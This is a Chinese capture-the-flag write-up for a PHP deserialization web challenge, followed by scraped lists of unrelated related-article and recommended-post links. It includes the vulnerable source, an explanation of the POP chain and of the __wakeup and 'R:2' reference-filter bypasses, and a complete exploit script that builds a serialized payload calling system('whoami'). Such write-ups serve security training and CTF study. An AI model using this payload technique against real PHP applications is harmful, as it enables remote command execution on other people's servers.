【铸网-2025】线下赛 web 详细题解
<?php
show_source('index.php');
class MGkk8
{
public $a;
public $b;
public function rpl2()
{
echo('MGrp12;');
$b = $this->b;
if ($this->a == "RPG") {
echo('ifyes;');
($b->a)($b->b."");
echo('evalyes;');
}
}
}
class KOkjs
{
public $a;
public $b;
public function __toString()
{
echo('kotostring');
$this->a->rpl2();
}
}
class u1Y7U
{
public $a;
public $b;
public function __toString()
{
$this->a->TiYM6();
}
}
class QMRb7
{
public $a;
public $b;
public function TiYM6()
{
$this->b->learn();
}
}
class y97pu
{
public $a;
public $b;
public $c;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
echo('destruct;');
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
echo('wakeup;');
$this->a = "";
echo('wakeupgo');
}
}
class m1_99
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
if(stripos($c,'R:2')!== false){
die("no Reference");
}
unserialize($c);
}else {
highlight_file(__FILE__);
}
pop链的构造
本题关键代码点
$this->b = $this->c;
die($this->a);
构造pop链的起点很明显是KOkjs的tostring方法,我们想进tostring就想办法把关键代码点中的$this->a赋值成一个实例
但是由于wakeup方法会把$this->a变成空白,所以我们要想办法绕过wakeup
这里常规方法都是无法绕过的,所以考虑地址相等绕过
$this->b = &$this->a
$this->c = new KOkjs();
这样我们保证了变量a和b指向同一个地址,调用wakeup也不会把a赋值为空。
同时变量c赋值为类KOkjs类的实例化对象,通过$this->b=$this->c把b赋值为类的实例化对象,然后通过变量a和b指向同一个地址,把$this->a赋值为类的实例化对象,那么die实例化对象时就是把这个实例化对象当作字符串输出,调用tostring方法,链子就走下去了。
$a = new y97pu();
$a->a = new KOkjs();
$a->b = &$a->a;
$a->c = new KOkjs();
$a->c->a = new MGkk8();
$a->c->a->b= new MGkk8;
$a->c->a->b->a = "system";
$a->c->a->b->b = "whoami";
$a->c->a->a="RPG";
echo(serialize($a));
R:2的绕过
这时我们会发现一个问题,这样输出的序列化字符串中会含有R:2,而题目中把这个R:2ban掉了,为了绕过这一步过滤我们需要了解一下R:2的含义
R:2 的含义
R:n表示引用(reference)到第 n 个已定义的变量。- 这里的
2指的是 序列化时顺序编号的第 2 个元素。 - PHP 在反序列化时会把
R:2解析成一个“引用”而不是新建的副本,也就是说它和第 2 个位置的值是同一个引用。
序列化编号规则
- 序列化时,每遇到一个新值(对象、数组、字符串等),PHP 会从 1 开始依次编号。
- 后面如果遇到
R:x,就是对前面编号为x的元素的引用。
所以我们跟着pop链来走一下
结构分析
- 编号 1
O:5:"y97pu":3:{ ... }
→ 一个类名为 y97pu 的对象,里面有 3 个属性:a、b、c。
- 编号 2
O:5:"KOkjs":2:{
s:1:"a";N;
s:1:"b";N;
}
- 属性
b
R:2
→ 引用编号 2 的对象,也就是上面那个 KOkjs(a=null,b=null)。
所以 y97pu->b 和 y97pu->a 指向同一个对象。
所以我们只要改变一下y97pu中变量abc的顺序就可以了
class y97pu
{
public $c;
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
$this->a = "";
}
}
为什么这样会变成R:9
用第二个脚本(class y97pu { public $a; public $b; public $c; })为例,序列化时典型“遇到顺序”(只列出对象类型节点)大致是:
y97pu(根对象) — 分配 id=1y97pu->a(第一个KOkjs) — 分配 id=2y97pu->c(第二个KOkjs) — 分配 id=3y97pu->c->a(第一个MGkk8) — id=4y97pu->c->a->b(第二个MGkk8) — id=5
-> 此时y97pu->b是对第 2 个节点(y97pu->a)的引用,所以写成R:2。
把 y97pu 的属性声明顺序改为 c,a,b,序列化的“遇到顺序”会变成先序列化 c 分支里的对象,导致那个原来属于 a 的 KOkjs 在序列化流中出现得更晚,从而获得一个更大的编号(你环境中是 9)。
注意:上面我列出的是“对象节点”的遇到顺序;PHP 内部可能还会对其它可引用项(某些标量或内部 zval)计编号,这会让最终的数字看起来更大一些,但本质不变 —— 编号取决于遇到的先后顺序。
完整exp
<?php
error_reporting(0);
class MGkk8
{
public $a;
public $b;
public function rpl2()
{
$b = $this->b;
if ($this->a == "RPG") {
($b->a)($b->b."");
}
}
}
class KOkjs
{
public $b;
public $a;
public function __toString()
{
$this->a->rpl2();
}
}
class u1Y7U
{
public $a;
public $b;
public function __toString()
{
$this->a->TiYM6();
}
}
class QMRb7
{
public $a;
public $b;
public function TiYM6()
{
$this->b->learn();
}
}
class y97pu
{
public $c;
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b."__INVOKE__";
}
public function __destruct(){
$this->b = $this->c;
die($this->a);
}
public function __wakeup()
{
$this->a = "";
}
}
class m1_99
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
if(stripos($c,'R:2')!== false){
die("no Reference");
}
unserialize($c);
}else {
}
$a = new y97pu();
$a->a = new KOkjs();
$a->b = &$a->a;
$a->c = new KOkjs();
$a->c->a = new MGkk8();
$a->c->a->b= new MGkk8;
$a->c->a->b->a = "system";
$a->c->a->b->b = "whoami";
$a->c->a->a="RPG";
//echo($a);
echo(serialize($a));
【铸网-2025】线下赛 web 详细题解的更多相关文章
- ogeek线下赛web分析1-python-web
1.python from flask import Flask, request, render_template,send_from_directory, make_response from A ...
- Redhat 线下赛 WEB WP
赛制 给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手 ...
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- CTF线下赛AWD模式下的生存技巧
作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...
- 2021江西省赛线下赛赛后总结(Crypto)
2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...
- 2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)
目录 解题思路 总结 解题思路 拿到题目的时候,只有一个登录界面 拿到登录界面,而且还伴随着有注册界面,联想到SQL的二次注入漏洞 尝试注册admin'#,并使用admin登录,发现登录失败,说明可能 ...
- 2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)
目录 解题思路 总结 解题思路 拿到手上,有四个页面 首先按照题目要求执行,尝试注册一个名为admin的账户 这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了 回到初始界面,点击链接here ...
- 某团队线下赛AWD writeup&Beescms_V4.0代码审计
还是跟上篇一样.拿别人比赛的来玩一下. 0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...
- 某线下赛AWD
拿别人比赛的来玩一下,或许这就是菜的力量吧. 0x01 任意文件读取: switch ($row['media_type']) { case 0: // 图片广告 ...... break; case ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
随机推荐
- Vlookup实现多条件匹配
方法一:使用辅助列 只要在目标区域的首列添加一个辅助列,目的就是将多条件转化为一个单条件,这个时候我们就可以用Vlookup进行匹配了,请看下面的示例: 1.在A列前插入一空列,输入公式=B2& ...
- WebGL简易教程——结语
1 概述 笔者在几年前写过一系列关于WebGL的文章<WebGL简易教程--目录>,前端时间将其整理了一下,增加了一个在线案例的站点以便于学习查看.这里就顺便写一段结语吧. 2 观点 2. ...
- Codeforces Round #670 (Div. 2) ABC 题解
A. Subset Mex 题意:把一个集合(可能有重复元素)分成两部分,使得每部分的缺少的最小非负整数的和最大. 其中在原序列里面就缺少的那个最小非负整数肯定是躲不掉的.就先把这个数之前的所有数放在 ...
- CLTX 笔试题目预览
error: multiple storage classes in declaration of `i' 代理服务器常用以下端口: (1). HTTP协议代理服务器常用端口号:80/8080/312 ...
- 如何测试wifi的吞吐率
基本知识储备 Interval 表示时间间隔, transfer 表示时间间隔传输的数据量, Bandwidth是时间间隔里的传输速率. Jitter 表示抖动. Lost/Total 表示丢包的数量 ...
- 关于 var 目录磁盘空间不足的解决方案
参考博客 博客
- EASY CONNECT安装使用
最近在项目运维中遇到要连远程服务器,刚开始客户提供的VPN有问题,老是不稳定,后建议客户使用Easy Connect,记录一下. 1.EASY CONNECT的下载与安装 一般百度EASY CONNE ...
- Linguistics-English-Would, Should, and Could: How to Use Them Correctly
https://7esl.com/would-should-could/ Compare Can, Could and Would Can: capacity Could: possibility W ...
- SSL证书和域名不匹配咋解决?
SSL证书域名不匹配问题是一个常见的网络安全问题,通常会导致浏览器显示安全警告,影响用户的信任度和网站的正常使用.本文将详细探讨SSL证书域名不匹配的原因,并提供一系列解决方案,帮助网站管理员快速有效 ...
- 「设计模式详解」工厂模式:简单工厂模式原理、实现与优缺点分析 | 附Java代码示例
大家好,欢迎来到程序视点!我是你们的新朋友.安戈! 设计模式概述:创建型模式的基石 设计模式是软件开发中解决特定问题的经典方案模板,由四位软件工程师(GoF)在<设计模式:可复用面向对象软件的 ...